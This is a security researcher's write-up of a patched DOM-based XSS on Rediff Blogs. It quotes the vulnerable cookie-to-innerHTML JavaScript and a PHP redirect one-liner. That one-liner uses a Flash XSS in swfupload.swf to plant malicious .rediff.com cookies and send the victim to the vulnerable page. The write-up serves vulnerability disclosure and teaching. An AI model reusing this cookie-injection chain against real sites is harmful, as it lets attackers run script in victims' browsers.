Triggering an unexploitable DOM-based XSS in Rediff Blogs automagically

I want to share the details behind a DOM-based XSS which I found on Rediff Blogs. At first glance it looks unexploitable as the source of XSS is a cookie, which then lands in an innerHTML sink.So for exploitation we need a cookie to be present on the client which will be read by vulnerable piece of JavaScript code.

The issue was on the "404" page of http://blogs.rediff.com/ , while looking at the client-side source code of that page I found a possible DOM-based XSS vulnerable code.

var ck = document.cookie;

function getcookie(n) {
  var ar = n + "=";
  var al = ar.length;
  var cl = ck.length;
  var i = 0;
  while (i < cl) {
    j = i + al;
    if (ck.substring(i, j) == ar) {
      e = ck.indexOf(";", j);
      if (e == -1) e = ck.length;
      return unescape(ck.substring(j, e));
    }
    i = ck.indexOf(" ", i) + 1;
    if (i == 0) break;
  }
  return "";
}
var Rlo = "";
var Rm = "";
Rlo = getcookie("Rlo"); //Rlo variable is now controlled via cookie
Rlo = unescape(Rlo).replace("+", " ");
Rm = getcookie("Rm"); //
if (Rlo != "" && Rm != "") {
  // For triggering DOM-based XSS, Rm and Rlo should be set to some value not equal to NULL
  document.getElementById("username").innerHTML =
    'Hi <a href="http://mypage.rediff.com/profile/myprofile">' + Rlo + "</a>"; //Rlo lands here, Boom! DOM-based XSS  :)
}

Most of the code is self-explanatory, Rlo is the vulnerable variable which loads a value from cookie (of the same name) and then it is passed into innerHTML sink of a SPAN tag. Rm should also be set to some value not equal to NULL, so that we can trigger this DOM-based XSS, here again we need a cookie to make Rm not equal to NULL.

Now, looks difficult to make it an one click exploit, as we would need the cookie with our vector to be set already and another thing is Rm cookie, which will push Rlo to reach the sink. For exploitation here comes the real trick, we can set a root domain cookie (i.e, .rediff.com) which will be accessible (according to same-origin policy from all subdomains of rediff.com

To achieve this goal, I found another XSS, this time Flash-based XSS on imworld.rediff.com , vulnerable file was in this case swfupload.swf (See http://seclists.org/fulldisclosure/2012/Nov/121). Achievement unlocked! I can now set cookies for .rediff.com . I quickly wrote a PHP one-liner that redirects the user to the vulnerable Flash-file, with XSS vector set to write the required cookies for .rediff.com

<?php
header('Location: http://imworld.rediff.com/livewirerediff/pix/swfupload.swf#?movieName="]);}catch(e){}document.cookie="Rm=pwnshit; domain=.rediff.com;Path=/;";document.cookie="Rlo=<svg onload=alert(\'XSS\')>;domain=.rediff.com;Path=/;";location="http://blogs.rediff.com/nonexistentpage";//');
?>

After setting the cookies it will automatically redirect our victim to the vulnerable 404 page, so now with required cookies in place, we can trigger this DOM-based XSS automagically.

Aaaaaand,

I've made a video to make this write-up more meaningful:

These issues have been patched by Rediff Security.

Reference: http://miladbr.blogspot.de/2013/04/exploiting-unexploitable-dom-based-xss.html